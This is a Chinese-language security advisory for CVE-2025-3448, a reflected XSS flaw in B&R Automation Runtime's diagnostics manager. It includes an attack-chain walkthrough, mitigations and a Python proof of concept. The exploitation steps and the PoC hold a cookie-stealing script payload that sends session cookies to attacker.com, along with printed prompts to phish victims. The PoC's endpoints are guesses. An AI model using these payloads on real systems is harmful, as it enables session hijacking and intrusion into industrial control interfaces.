IPBUF安全漏洞报告
English
CVE-2025-3448 CVSS 6.1 中危

CVE-2025-3448 B&R Automation Runtime SDM反射型XSS漏洞

披露日期: 2025-10-07

漏洞信息

漏洞编号
CVE-2025-3448
漏洞类型
反射型跨站脚本(Reflected XSS)
CVSS评分
6.1 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
B&R Automation Runtime(系统诊断管理器 SDM)

相关标签

XSS反射型XSS跨站脚本B&RAutomation RuntimeSDM工业自动化ICSABB中危漏洞

漏洞概述

CVE-2025-3448是B&R Automation Runtime产品中System Diagnostics Manager(SDM,系统诊断管理器)组件存在的一个反射型跨站脚本(Reflected XSS)漏洞。该漏洞由ABB集团网络安全团队([email protected])发现并报告,于2025年10月7日正式披露。B&R Automation Runtime是B&R工业自动化公司(现为ABB集团成员)开发的工业自动化控制软件,广泛应用于工业控制系统中,用于管理和诊断自动化设备的运行状态。

该漏洞影响Automation Runtime 6.4之前的所有版本。攻击者可以通过构造恶意的URL或请求参数,利用SDM组件未对用户输入进行充分过滤和转义的缺陷,将恶意JavaScript代码注入到响应页面中。当受害者在浏览器中点击或访问该恶意链接时,嵌入的JavaScript代码将在受害者浏览器会话上下文中执行,可能导致会话劫持、敏感信息窃取、钓鱼攻击或进一步的攻击活动。

根据CVSS 3.1评分标准,该漏洞评分为6.1分,属于中危级别。攻击向量为网络(AV:N),攻击复杂度低(AC:L),无需特权(PR:N),但需要用户交互(UI:R)。由于漏洞会影响其他组件(S:C),机密性和完整性影响均为低(C:L/I:L),可用性影响为无(A:N)。该漏洞的利用需要受害者主动点击恶意链接,属于典型的钓鱼攻击场景。

技术细节

CVE-2025-3448是一个反射型XSS漏洞,存在于B&R Automation Runtime的System Diagnostics Manager(SDM)Web界面中。

**漏洞原理:**
反射型XSS漏洞的核心在于Web应用程序未对用户输入进行充分的验证和HTML编码。当用户通过HTTP请求(如URL参数、表单数据)提交数据时,SDM组件直接将未经转义的输入数据嵌入到HTTP响应页面中返回给浏览器。攻击者可以精心构造包含恶意JavaScript代码的URL,当受害者在已登录SDM的状态下点击该链接时,浏览器会执行嵌入的恶意脚本。

**利用方式:**
1. 攻击者构造一个包含恶意JavaScript代码的URL,该URL指向存在漏洞的SDM页面
2. 恶意代码通常嵌入在URL参数中,如:`https://target-sdm-server/diagnostic?param=<script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>`
3. 攻击者通过钓鱼邮件、即时消息等方式诱导受害者点击该链接
4. 受害者点击链接后,恶意JavaScript代码在其浏览器中以SDM站点的上下文执行
5. 攻击者可以窃取会话Cookie、获取敏感信息、进行钓鱼操作或执行其他恶意行为

**攻击影响:**
- 窃取用户会话令牌,实现会话劫持
- 访问和修改用户在SDM中的配置信息
- 获取工业控制系统的诊断数据
- 进行进一步的网络钓鱼或社会工程攻击
- 在某些情况下可能导致对工业控制系统的未授权访问

攻击链分析

STEP 1
步骤1:信息收集
攻击者通过Shodan、Censys等工具或网络侦察手段,识别暴露在互联网上的B&R Automation Runtime SDM管理界面,确定目标系统的IP地址和端口。
STEP 2
步骤2:漏洞验证
攻击者测试SDM的各个参数端点,识别哪些输入参数未经过滤直接反映在响应页面中,确认反射型XSS漏洞的存在。
STEP 3
步骤3:构造恶意URL
攻击者将恶意JavaScript代码(如窃取Cookie、重定向到钓鱼页面等)嵌入到URL参数中,构造恶意链接。
STEP 4
步骤4:钓鱼诱导
攻击者通过钓鱼邮件、即时消息、社交媒体等方式,将恶意链接发送给已登录SDM的目标用户,诱导其点击。
STEP 5
步骤5:恶意代码执行
受害者点击链接后,恶意JavaScript代码在其浏览器中以SDM站点的安全上下文执行,窃取会话Cookie或执行其他恶意操作。
STEP 6
步骤6:会话劫持与后续攻击
攻击者利用窃取的会话Cookie冒充受害者登录SDM系统,访问敏感诊断数据、修改配置或对工业控制系统进行进一步的攻击。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-3448 - B&R Automation Runtime SDM Reflected XSS PoC # Reflected XSS vulnerability in System Diagnostics Manager (SDM) # Affected: B&R Automation Runtime versions before 6.4 import requests import urllib.parse TARGET_URL = "https://target-sdm-server" ATTACKER_SERVER = "https://attacker.com/steal" # Malicious JavaScript payload to steal session cookies payload_js = f""" document.location='{ATTACKER_SERVER}?cookie='+document.cookie; """.strip() # Encode the payload for URL injection encoded_payload = urllib.parse.quote(payload_js) # Construct the malicious URL with XSS payload in parameter # The exact vulnerable parameter may vary; common candidates include 'page', 'id', 'search', 'view', etc. vulnerable_endpoints = [ f"{TARGET_URL}/diagnostic?page={encoded_payload}", f"{TARGET_URL}/sdm/view?id={encoded_payload}", f"{TARGET_URL}/diagnostics/search?q={encoded_payload}", f"{TARGET_URL}/system/status?redirect={encoded_payload}", ] print("[*] CVE-2025-3448 - B&R Automation Runtime SDM Reflected XSS PoC") print(f"[*] Target: {TARGET_URL}") print(f"[*] Attacker callback: {ATTACKER_SERVER}") print("[*] Generated malicious URLs:") for i, url in enumerate(vulnerable_endpoints, 1): print(f"\n[{i}] {url}") # Send the malicious URL to the victim via phishing email, IM, etc. # When victim clicks while authenticated to SDM, the script executes print("\n[*] Send these URLs to the authenticated victim via phishing.") print("[*] When the victim clicks, the JavaScript will execute in their browser context.") print("[*] Captured cookies/data will be sent to the attacker's server.") # Example: Test if endpoint is vulnerable (basic check) for endpoint in vulnerable_endpoints: try: test_url = endpoint.replace(encoded_payload, "<script>alert('XSS')</script>") resp = requests.get(test_url, timeout=5, verify=False) if "<script>alert('XSS')</script>" in resp.text: print(f"\n[!] VULNERABLE: {test_url}") print(f"[!] Payload reflected in response without sanitization!") except Exception as e: print(f"[-] Error testing endpoint: {e}")

影响范围

B&R Automation Runtime < 6.4

防御指南

临时缓解措施
在无法立即升级到6.4版本的情况下,建议采取以下临时缓解措施:1)限制SDM管理界面的网络访问,仅允许可信的IP地址和管理员网络访问;2)部署Web应用防火墙(WAF)规则,检测和阻止包含恶意JavaScript代码的HTTP请求;3)实施严格的Content Security Policy(CSP),限制页面中可执行的脚本来源和类型;4)对管理员用户进行安全意识培训,警惕可疑链接,避免点击来源不明的URL;5)定期轮换SDM管理员账户的会话凭证,降低会话劫持风险;6)监控SDM的访问日志,及时发现异常访问行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表